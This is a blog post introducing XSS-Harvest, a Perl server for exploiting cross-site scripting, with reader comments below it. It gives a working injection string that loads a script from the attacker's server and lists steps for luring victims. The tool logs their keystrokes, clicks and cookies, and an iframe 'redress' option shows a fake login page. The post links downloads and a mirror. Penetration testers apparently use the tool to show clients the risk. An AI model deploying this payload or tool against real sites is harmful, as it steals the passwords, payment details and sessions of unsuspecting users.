It always amazes me how many people still do not understand the impact of an exploited XSS vulnerability, and I include the security community in this statement. To summarise, a successfully exploited XSS vulnerability will allow the interception of ALL keystrokes, ALL mouse actions, ALL cookies (unless protected by scope) on ALL pages of the affected domain, regardless of whether or not the vulnerability is "reflected" or "persistent". Consider any transactions you carry out on ecommerce sites and any "secure" sites that you may log into, and understand this; if a cross-site scripting vulnerability exists anywhere on the same subdomain, it is feasible that an attacker can be exfiltrating your keystrokes and mouse clicks. This includes the password field of your webmail provider and the credit card field on the e-commerce site you are using. The only time I would accept XSS as a 'low' impact finding would be on applications with no concept of sessions and mostly static content, but even in these cases if someone were to trust the vulnerable site (e.g. a .gov.uk domain) , it could still be used as a launch pad for any number of browser based exploits.
To demonstrate the real business impact of cross site scripting I have developed a completely new tool from the ground up - XSS-Harvest. It is multi-threaded pre-forking web server written in Perl, and requires no dependencies other than a couple of common Perl modules; you do not need a web server or database to use this tool. Before going into the detail, I'll list the high level functionality below:
- Infection script adds relevant event listeners (keystrokes, onload() and mouse clicks) to the vulnerable page and sets up communication with the XSS-Harvest server.
- Any key entered will be sent covertly to the server.
- Any mouse click performed will be analysed and the data covertly sent to the server.
- Optionally 'redress' the vulnerable page to display a different page on the same subdomain - e.g. a login form.
- If redressing the victim's browser, allow subsequently loaded pages to be also 'infected' - assuming they don't break the same-origin policy (i.e. they're on the same subdomain).
- Keeps track of victims for the lifetime of the XSS-Harvest cookie (future visits are recognised as a returning victim).
- Each victim has a separate history file containing all events, cookies and keystrokes.
- Server console displays real time data received (due to multi-threaded nature, keystrokes are displayed as '.' characters to avoid confusion).
- Tested in IE6-9 (reflected XSS protection in IE9 will limit exploitation to stored XSS only in most cases), FF5, Chrome and various mobile browsers (Safari and Android). Please let me know your success with other browsers.
- Overcomes browser oddities, such as Internet Explorer throttling requests to the same URL when exfiltrating keystrokes.
How to Exploit XSS with XSS-Harvest
- Identify a page vulnerable to XSS (reflected or persistent will be fine - unless the victim is running IE9 or another plugin such as NoScript).
- Understand the markup of the page. You should be looking to insert syntactically correct <script></script> tags in to the source of the vulnerable page. Most attackers will insert something like '<script>alert(1)</script>' at this stage to ensure the page is actually vulnerable.
- Start the XSS-Harvest server as root if you wish to bind to a TCP port < 1024 (default port is 80), or as a limited user on a port > 1024 using the -p option. To start the server you must instruct it to listen with the -l option.
- Insert the following 'injection string' into the vulnerable page:
- <script src="http://<serverip>:<serverport>/i"></script>
- This will return the client-side JavaScript to the victim, indicated by the 'i' in the URL.
- Entice visitors to the infected page (or to follow a link in the case of reflected XSS).
- Watch your victims roll in - a new history file will be created for each new victim.
If you wish to make use of the redress function, start the server with the -r parameter:
./xss-harvest.pl -l -r http://vulnerablepage.local/login.html
Any incoming victim will now be redirected to the specified page by means of a full window IFRAME overlaid on top of the original vulnerable page. Some screenshots of the server in action are shown below:
![]() |
| Server console showing incoming victims |
![]() |
| Received events, clicks and keystrokes |
Download
You can download the server here. All feedback would be most welcome - please share improvements and distribute under the GPL license.
Requires the following dependencies:
HTTP::Server::Simple::CGI, Digest::MD5, Time::Local, Getopt::Std, Net::Server::PreFork
Requires the following dependencies:
HTTP::Server::Simple::CGI, Digest::MD5, Time::Local, Getopt::Std, Net::Server::PreFork
For a video of the tool in action against OSCommerce, see the following post:


I'm just starting to learn more about network security and XSS. I think it's very interesting, but this is really impressive. You did a good job, though i think you should make it script kiddy proof. I know this might sound weird from the mouth of a guy who is just learning the basics of network security, but if script kiddies are aware of this tool. The hell is gonna break loose
ReplyDeleteVery nice...will make it easier to hit home about XSS.
ReplyDeleteI've used this on client demonstrations and it worked a treat, nice tool -kitkat
ReplyDeleteGood tool. However, when I used it, it doesn't seem to get the user to send all their cookie values. I tried both with and without the redress function.
ReplyDeleteSilly bug in version 0.1. Download the new version, it's fixed...with improved redressing if the infection string is echoed more than once on the vulnerable page...
ReplyDeleteIf you're using 0.2, are you sure the cookies aren't set to "httpOnly"?
Geoff
I'm still amazed of what you can find on the net... Have you tried it on glype!? Only a few are fixed... more than half of the proxies around the internet are xss vulnerable.
ReplyDeleteCool!
ReplyDeleteI mirrored this on GitHub: https://github.com/Miserlou/XSS-Harvest